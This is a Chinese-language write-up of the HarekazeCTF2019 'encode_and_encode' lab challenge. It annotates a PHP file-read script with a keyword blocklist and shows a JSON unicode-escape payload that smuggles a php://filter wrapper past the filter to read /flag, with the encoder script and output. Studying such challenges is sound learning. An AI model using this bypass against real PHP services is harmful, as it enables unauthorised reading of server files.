BUUCTF_[HarekazeCTF2019]encode_and_encode

[HarekazeCTF2019]encode_and_encode

参考:

[HarekazeCTF2019]encode_and_encode-CSDN博客

文件包含&PHP伪协议利用_-CSDN博客

场景:

image-20240212204331473

点击source code查看源码:

image-20240212204440471

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
// 判断source此参数是否为空,为空则返回false,不为空则展示脚本代码,同时退出脚本
// 所以source要为空
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
// 设置黑名单字符串
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
// 将黑名单所有字符串整合成正则匹配
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str))
{// 判断$str是否有黑名单数据
return false;
}
return true;
}

// 获取用户传输的post请求的内容,可以是传参还有json数据
$body = file_get_contents('php://input');
// 将json数据转化为关联数组的形式
// json_decode()可以解析unicode编码
$json = json_decode($body, true);

// 检查$json对象是否为空,$json数组中的page变量是否为空,以及用户传输的字符串内容是否存在黑名单数据
if (is_valid($body) && isset($json) && isset($json['page'])) {
// 获取$json关联数组中的$page变量的内容
$page = $json['page'];
// 文件打开函数(危险函数),获取$page路径所指向的文件内容
$content = file_get_contents($page);
// content获取的内容为空,或者获取的$content的内容中含有黑名单数据则过滤
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
// 将HarekazeCTF{xxxxx}内容替换为HarekazeCTF{<censored>}
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
// 输出获取的文件内容
echo json_encode(['content' => $content]);

分析:

1
2
3
4
5
6
7
这里要利用的危险代码为file_get_contents($page);所以是利用了file_get_contents()函数的漏洞,可以利用php伪协议(php://filter)获取文件数据流,然后通过file_get_contents()获取打开的文件数据流传递给相应的参数:
file_get_contents('php://filter/read=convert.base64-encode/resource=文件路径')

但是这里过滤了php,所以不能直接传伪协议,题目只对$body变量进行过滤,没有对$json数据进行过滤,这就可以使用unicode编码进行绕过,这是因为存在json_decode()可以解析unicode编码内容:
$json['page']='php://filter/read=convert.base64-encode/resource=文件路径'
=>
$body={'page':unicode('php://filter/read=convert.base64-encode/resource=文件路径')}

unicode编码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function unicodeEncrypt($str) {
$result = '';
$length = mb_strlen($str);

for ($i = 0; $i < $length; $i++) {
$char = mb_substr($str, $i, 1);
$result .= '\u' . strtoupper(bin2hex(mb_convert_encoding($char, 'UTF-16BE', 'UTF-8')));
}

return $result;
}

// 示例用法
$text = "php://filter/read=convert.base64-encode/resource=/flag";
$encryptedText = unicodeEncrypt($text);
echo $encryptedText;
?>

输出:

1
\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0072\u0065\u0061\u0064\u003D\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067

构造payload:

1
2
3
4
5
POST:
Content-Type: application/json
{
"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0072\u0065\u0061\u0064\u003D\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"
}

image-20240212215242887

1
{"content":"ZmxhZ3swYjY3ZmRjMS04ZThjLTQxMWUtOTZlNy1hNjA2ZmMzOWFkM2N9Cg=="}

解码:

image-20240212215359505

1
flag{0b67fdc1-8e8c-411e-96e7-a606fc39ad3c}

flag=flag{0b67fdc1-8e8c-411e-96e7-a606fc39ad3c}


BUUCTF_[HarekazeCTF2019]encode_and_encode
http://example.com/2024/02/18/2024-02-18-[HarekazeCTF2019]encode_and_encode/
作者
South
发布于
2024年2月18日
许可协议